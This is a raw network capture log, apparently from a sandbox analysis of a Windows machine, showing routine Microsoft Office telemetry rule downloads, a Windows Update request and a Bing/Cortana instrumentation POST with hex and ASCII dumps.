2024-11-07 16:25:23 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162523Z-16547b76f7fxsvjdhC1DFWprrs000000088000000000kvw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:23 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162523Z-16547b76f7f7scqbhC1DFW0m5w000000086g00000000hgnc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:23 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: b7de5730-301e-000c-1fa9-30323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162523Z-17df447cdb56mx55hC1DFWvbt400000001gg00000000mn29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49776	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NWXVxHxY+57Vohm&MD=L5AwcdeN HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-07 16:25:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 19bedd9c-c745-41e0-995e-37b386088df1 MS-RequestId: e00d4cfa-c0a2-4a23-bb51-9517a70d5b4e MS-CV: +OILccHXLU6qWq/S.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 07 Nov 2024 16:25:23 GMT Connection: close Content-Length: 24490
2024-11-07 16:25:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-07 16:25:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:23 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 57b0571f-501e-00a3-7dfb-2cc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162523Z-16547b76f7ftdm8dhC1DFWs13g00000008bg00000000c2at x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:23 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3e16ca6e-701e-0098-184d-2e395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162523Z-15869dbbcc6ss7fxhC1DFWq6vs00000001rg000000006fzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:24 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:24 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162524Z-16547b76f7fwvr5dhC1DFW2c9400000008c0000000002q92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:24 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49786	173.222.162.64	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:24 UTC	2168	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900C4F3 X-BM-CBT: 1696488253 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: 1D6F504B5A5A465DBDB84F31C63A581D X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900C4F3 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshldspcl40,msbdsborgv2co,msbwdsbi920cf,optfsth3,premsbdsbchtupcf,wsbfixcachec,wsbqfasmsall_c,wsbqfminiserp_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 516 Connection: Keep-Alive Cache-Control: no-cache Cookie: SRCHUID=V=2&GUID=CE2BE0509FF742BD822F50D98AD10391&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&HV=1696488191&IPMH=5767d621&IPMID=1696488252989&LUT=1696487541024; MUID=81C61E09498D41CC97CDBBA354824ED1; _SS=SID=1D9FAF807E686D422B86BC217FC66C71&CPID=1696488253968&AC=1&CPH=071f2185; _EDGE_S=SID=1D9FAF807E686D422B86BC217FC66C71
2024-11-07 16:25:24 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-11-07 16:25:24 UTC	515	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 38 31 43 36 31 45 30 39 34 39 38 44 34 31 43 43 39 37 43 44 42 42 41 33 35 34 38 32 34 45 44 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 33 35 31 41 41 38 32 41 45 39 30 43 34 36 36 39 39 46 35 42 31 46 45 33 34 32 42 45 37 45 31 30 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>81C61E09498D41CC97CDBBA354824ED1</CID><Events><E><T>Event.ClientInst</T><IG>351AA82AE90C46699F5B1FE342BE7E10</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-11-07 16:25:24 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CAD68898A41A4380A532838241F1CC58 Ref B: LAX311000115031 Ref C: 2024-11-07T16:25:24Z Date: Thu, 07 Nov 2024 16:25:24 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.3ca6dc17.1730996724.12db409a

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:24 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:24 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162524Z-16547b76f7fmbrhqhC1DFWkds8000000089g00000000tx0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:24 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:24 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:24 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162524Z-16547b76f7fq9mcrhC1DFWq15w00000008a000000000hvt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:24 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:24 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
